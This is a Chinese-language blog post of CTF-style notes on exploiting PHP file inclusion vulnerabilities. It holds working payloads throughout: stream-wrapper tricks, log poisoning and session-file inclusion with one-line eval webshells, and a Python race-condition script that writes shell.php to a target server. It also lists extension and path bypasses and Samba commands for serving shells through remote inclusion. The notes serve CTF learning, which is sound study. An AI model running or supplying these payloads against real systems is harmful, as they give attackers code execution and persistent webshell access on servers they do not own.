文件包含漏洞

1.类型

本地文件包含

远程文件包含

php.ini 配置 allow_url_fopen = On、allow_url_include = On

包含 PHP 只会包含运行结果,所以最好先转 TXT 或者用以下方式

<?php echo '<?php @eval($_POST[1]);';

2.PHP文件包含函数

<?php
// 可执行代码
include $_GET[1]; // 出错会报错并继续执行
include_once $_GET[1]; // 只包含一次
require $_GET[1]; // 出错会报错并停止
require_once $_GET[1]; // 只包含一次

// 不可执行代码,都支持URL
highlight_file($_GET[1]); // 显示文件内容
show_source($_GET[1]); // 显示文件内容
readfile($_GET[1]); // 内容写入输出缓冲区,Ctrl+U
echo file_get_contents($_GET[1]); // 内容写入字符串
$fp = fopen($_GET[1], 'r'); // 打开文件或URL
echo fgets($fp);

3.PHP伪协议

file://绝对路径

php://filter/read=过滤器(可以不用,也可以用|加多个)/resource=相对路径或绝对路径

可用的过滤器:

convert.base64-encode

string.rot13(凯撒密码,字母后移13位)

convert.iconv.UCS-2LE.UCS-2BE(两个一组左右换)

过滤器绕过 die 写入一句话,CTFshow-WEB入门-文件包含web87 - LeiyNeKo - 博客园 (cnblogs.com)

php://input

POST:<?php phpinfo();?>

条件:php.ini 配置 allow_url_include = On

data://(可以去掉//)

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==(+ 要URL编码:%2b)

条件:php.ini 配置 allow_url_fopen = On、allow_url_include = On,PHP >= 5.2

phar://相对路径或绝对路径/shell.zip/shell.xx

忽视压缩包后缀,可以 shell.jpg/shell.txt

zip://相对路径或绝对路径/shell.zip%23shell.xx

忽视压缩包后缀

compress.zlib://相对路径或绝对路径/shell.xx(不用压缩)

expect://whoami

4.特殊文件的包含

日志投毒

UA改为一句话,包含日志文件

/var/log/nginx/access.log、/var/log/apache2/access.log、/var/log/httpd/access_log

Session包含

Session路径 可以在 phpinfo 的 session.save_path 看到,文件名为sess_+客户端session id

Payload:?1=<?php @eval($_POST[1]);?>&2=../tmp/tmp/sess_客户端session id

<?php
session_start();
$_SESSION['user'] = $_GET[1];
include($_GET[2]);

session.upload_progress包含

php.ini 对session.upload_progress 进行配置(去掉注释)

session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

通过构造的 POST请求 会生成内容可控的 sess_+客户端session id 文件,但是内容很快会被删除,所以需要通过条件竞争来包含

import io
import requests
import threading

url = 'http://xxx/'
sessionid = 'hacker'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url, cookies = {'PHPSESSID':sessionid}, data = {'PHP_SESSION_UPLOAD_PROGRESS':"<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"}, files={'file':('1.jpg',fileBytes)})

def read(session):
    while True:
        session.get(url+'?file=/tmp/sess_'+sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()

例题:CTFshow-WEB入门-文件包含web82 - LeiyNeKo - 博客园 (cnblogs.com)

5.绕过

后缀绕过

远程文件包含,?file=http://IP/shell.txt?

远程文件包含,?file=http://IP/shell.txt%23

远程文件包含、本地文件包含,?file=http://IP/shell.txt%00

本地文件包含,用data://

本地文件包含,?file=shell.txt/././././.(文件后缀超出丢弃,Win256、Linux4096,PHP<5.3)

前路径绕过

本地文件包含,用相对路径

远程配置绕过

allow_url_fopen 和 allow_url_include 对 SMB协议 等协议无效,可以配置 Samba匿名访问 来绕过

配置 Samba匿名访问

创建共享文件夹,设置没有用户组(谁都可以访问)

mkdir /var/www/html/share
chmod 777 /var/www/html/share
chown -R nobody:nogroup /var/www/html/share

/etc/samba/smb.conf 重置为:

[global]
map to guest = bad user
guest account = nobody

[anonymous]
path = /var/www/html/share
browsable = yes
writable = yes
guest ok = yes
guest only = yes
create mode = 0777
directory mode = 0777
systemctl start smbd

进行远程文件包含

先在本地文件夹中访问 \\IP 来确认文件夹名称,然后远程文件包含

Payload:?file=//192.168.1.194/anonymous/shell.txt

6.CTF

php://filter/这里可以乱加东西,无效会被忽视/read=convert.base64-encode/resource=index.php

对包含文件的内容有要求,?include=php://input通过post内容来绕过

include"";

include%0a"";

posted @ 2023-04-17 22:36  Hacker&Cat  阅读(81)  评论(0编辑  收藏  举报